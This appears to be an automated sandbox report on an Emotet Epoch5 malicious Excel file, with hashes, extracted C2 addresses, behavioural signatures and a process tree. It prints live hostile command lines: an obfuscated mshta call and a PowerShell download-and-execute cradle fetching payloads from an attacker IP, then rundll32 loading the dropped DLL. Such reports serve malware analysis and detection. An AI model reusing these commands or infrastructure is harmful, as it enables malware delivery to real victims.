emotet | db2f94ff44db439e7a8d61e8aa10a44edec79468991702309757483734516058

General

Target

tmpp4xwdyxv.xls
Size

36KB
MD5

dbfeb8dae859888e64d607db25deb618
SHA1

73b1e163f2465fad2c15b29426db5adb671a4617
SHA256

db2f94ff44db439e7a8d61e8aa10a44edec79468991702309757483734516058
SHA512

dbdd68f0d75999c955bf1fa2af330759fd250535afd6e93dff8438e471b1e74c43fdb01fd09cbe6bba57692b9848ca34dd5db947d97aa95f1f997c9b963d146d

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2788	2620	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

32 3488 mshta.exe
46 1648 powershell.exe
48 1648 powershell.exe
50 1648 powershell.exe
56 2184 rundll32.exe
59 2184 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

984 rundll32.exe
2396 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Dzfltkshrlhx\regw.ufa rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

708 3488 WerFault.exe mshta.exe

flow	pid	process
32	3488	mshta.exe
46	1648	powershell.exe
48	1648	powershell.exe
50	1648	powershell.exe
56	2184	rundll32.exe
59	2184	rundll32.exe

pid	process
984	rundll32.exe
2396	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Dzfltkshrlhx\regw.ufa	rundll32.exe

pid	pid_target	process	target process
708	3488	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2620 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
708	WerFault.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
2184	rundll32.exe
2184	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 708 WerFault.exe
Token: SeDebugPrivilege 1648 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

2620 EXCEL.EXE
2620 EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	708	WerFault.exe
Token: SeDebugPrivilege	1648	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2620 wrote to memory of 2788	2620	EXCEL.EXE	CMD.EXE
PID 2620 wrote to memory of 2788	2620	EXCEL.EXE	CMD.EXE
PID 2788 wrote to memory of 3488	2788	CMD.EXE	mshta.exe
PID 2788 wrote to memory of 3488	2788	CMD.EXE	mshta.exe
PID 3488 wrote to memory of 1648	3488	mshta.exe	powershell.exe
PID 3488 wrote to memory of 1648	3488	mshta.exe	powershell.exe
PID 1648 wrote to memory of 1896	1648	powershell.exe	cmd.exe
PID 1648 wrote to memory of 1896	1648	powershell.exe	cmd.exe
PID 1896 wrote to memory of 984	1896	cmd.exe	rundll32.exe
PID 1896 wrote to memory of 984	1896	cmd.exe	rundll32.exe
PID 1896 wrote to memory of 984	1896	cmd.exe	rundll32.exe
PID 984 wrote to memory of 2396	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 2396	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 2396	984	rundll32.exe	rundll32.exe
PID 2396 wrote to memory of 3452	2396	rundll32.exe	rundll32.exe
PID 2396 wrote to memory of 3452	2396	rundll32.exe	rundll32.exe
PID 2396 wrote to memory of 3452	2396	rundll32.exe	rundll32.exe
PID 3452 wrote to memory of 2184	3452	rundll32.exe	rundll32.exe
PID 3452 wrote to memory of 2184	3452	rundll32.exe	rundll32.exe
PID 3452 wrote to memory of 2184	3452	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpp4xwdyxv.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:984

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2396

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dzfltkshrlhx\regw.ufa",MbVPRPtWaOUK
8⤵
- Suspicious use of WriteProcessMemory
PID:3452

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dzfltkshrlhx\regw.ufa",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2184

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3488 -s 1660
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:708

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
memory/984-618-0x0000000004E01000-0x0000000004E24000-memory.dmp

Filesize
140KB

Download
memory/1648-291-0x000002A341C20000-0x000002A341C42000-memory.dmp

Filesize
136KB

Download
memory/1648-471-0x000002A341C80000-0x000002A359E00000-memory.dmp

Filesize
385.5MB

Download
memory/1648-615-0x000002A341C80000-0x000002A359E00000-memory.dmp

Filesize
385.5MB

Download
memory/1648-363-0x000002A35A340000-0x000002A35A37C000-memory.dmp

Filesize
240KB

Download
memory/1648-388-0x000002A341C80000-0x000002A359E00000-memory.dmp

Filesize
385.5MB

Download
memory/1648-420-0x000002A35A400000-0x000002A35A476000-memory.dmp

Filesize
472KB

Download
memory/2184-648-0x00000000031D0000-0x00000000031F7000-memory.dmp

Filesize
156KB

Download
memory/2396-624-0x00000000054E0000-0x0000000005507000-memory.dmp

Filesize
156KB

Download
memory/2396-626-0x00000000055C0000-0x00000000055E7000-memory.dmp

Filesize
156KB

Download
memory/2396-647-0x0000000005A10000-0x0000000005A37000-memory.dmp

Filesize
156KB

Download
memory/2396-632-0x0000000005860000-0x0000000005887000-memory.dmp

Filesize
156KB

Download
memory/2396-630-0x0000000005800000-0x0000000005827000-memory.dmp

Filesize
156KB

Download
memory/2396-628-0x00000000057A0000-0x00000000057C7000-memory.dmp

Filesize
156KB

Download
memory/2620-119-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-131-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2620-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-120-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-124-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-132-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2620-674-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-675-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-676-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-677-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3452-644-0x00000000002A0000-0x00000000002C7000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads